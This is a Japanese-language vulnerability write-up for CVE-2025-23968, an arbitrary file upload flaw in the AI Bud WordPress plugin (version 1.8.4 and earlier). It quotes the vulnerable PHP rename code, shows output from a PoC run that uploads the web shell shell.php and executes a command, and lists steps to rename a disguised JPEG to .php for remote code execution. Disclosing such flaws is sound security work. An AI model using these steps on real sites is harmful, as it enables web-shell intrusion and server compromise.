
AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o <= 1.8.4 における任意のファイルアップロード
AI Budプラグインは、REST APIエンドポイント/wp-json/ai-buddy/v1/wp/attachmentsを公開しており、WordPressメディアライブラリへのファイルアップロードを許可します。エンドポイントのファイルロジックには、ファイルタイプの検証後にトリガーされるファイル名変更機能が含まれており、攻撃者はアップロードしたファイルの拡張子を(.phpを含む)任意のものに変更することができ、管理者以上の権限を持つユーザーが任意のファイルをアップロードし、サーバー上でコード実行を可能にする可能性があります。
管理者がshell.phpという名前のWebシェルをアップロードする様子を示すPOC cve-2025-23968.pyが提供されています。
python cve-2025-23968.py https://lab 1 .hacker admin PASSWORD
Logging into: https://lab 1 .hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Executing test command: ip addr
<pre> 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
link/loopback 00 : 00 : 00 : 00 : 00 : 00 brd 00 : 00 : 00 : 00 : 00 : 00
inet 127. 0. 0. 1 / 8 scope host lo
valid_lft forever preferred_lft forever
inet 6 :: 1 / 128 scope host
valid_lft forever preferred_lft forever
2 : eth 0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 08 : 00 : 27 : 5 b: 34 : 2 f brd ff:ff:ff:ff:ff:ff
altname enp 0 s 3
inet 10. 0. 2. 15 / 24 metric 100 brd 10. 0. 2. 255 scope global dynamic eth 0
valid_lft 75700 sec preferred_lft 75700 sec
inet 6 fd 17 : 625 c:f 037 : 2 :a 00 : 27 ff:fe 5 b: 342 f/ 64 scope global dynamic
mngtmpaddr noprefixroute
valid_lft 86174 sec preferred_lft 14174 sec
inet 6 fe 80 ::a 00 : 27 ff:fe 5 b: 342 f/ 64 scope link
valid_lft forever preferred_lft forever
3 : eth 1 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 08 : 00 : 27 : 39 :ea:eb brd ff:ff:ff:ff:ff:ff
altname enp 0 s 8
inet 192. 168. 56. 56 / 24 brd 192. 168. 56. 255 scope global eth 1
valid_lft forever preferred_lft forever
inet 6 fe 80 ::a 00 : 27 ff:fe 39 :eaeb/ 64 scope link
valid_lft forever preferred_lft forever
4 : docker 0 : <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
link/ether 02 : 42 : 6 f: 4 c: 3 e:ed brd ff:ff:ff:ff:ff:ff
inet 172. 17. 0. 1 / 16 brd 172. 17. 255. 255 scope global docker 0
valid_lft forever preferred_lft forever
</pre>
プラグインはREST APIルートを/wp-content/plugins/aibuddy-openai-chatgpt/src/Rest.phpに登録しています。
250-284行目で/wp/attachmentsエンドポイントのRESTルートを登録しています。コールバック関数はcreate_attachmentとして定義されています。
register_rest_route(
$namespace,
'/wp/attachments',
array(
'methods' => 'POST',
'permission_callback' => array( AuthGate::class, 'authorized'
),
'callback' => array( $this, 'create_attachment' ),
'args' => array(
'title' => array(
'required' => true,
'type' => 'string',
),
'caption' => array(
'required' => true,
'type' => 'string',
),
'alt' => array(
'required' => true,
'type' => 'string',
),
'description' => array(
'required' => true,
'type' => 'string',
),
'url' => array(
'required' => true,
'type' => 'string',
),
'filename' => array(
'required' => false,
'type' => 'string',
),
),
create_attachment関数は709行目で定義され、名前変更ロジックは744行目から始まります。以下のスニペットのように、$filenameパラメータが指定されている場合、既存の添付ファイルの名前を変更するために使用できます(サニタイズされていません)。
// strip possible path from filename
$filename = basename( sanitize_text_field( $request->get_param( 'filename'
) ) );
if (! empty( $filename ) ) {
$file = get_attached_file( $attachment_id, true );
$dir = dirname( $file );
$new_file = $dir. '/'. $filename;
if ( file_exists( $new_file ) ) {
$new_file = $dir. '/'. uniqid(). '-'. $filename;
}
$this->move_file( $file, $new_file );
update_attached_file( $attachment_id, $new_file );
}
.phpリネーム攻撃
shell.jpgという名前のファイルを以下の特性で準備します(例を参照)。
FF D8 FF E0を含んでいます。.jpgです。shell.jpgを自分たちが管理するサーバー(例:Github)にホストします。/wp-json/ai-buddy/v1/wp/attachmentsに送信します:
1.url: shell.jpgへのURL
2.filename:shell.php/wp-content/uploads/YEAR/MONTH/shell.phpにアクセスし、任意のPHPコードを実行します。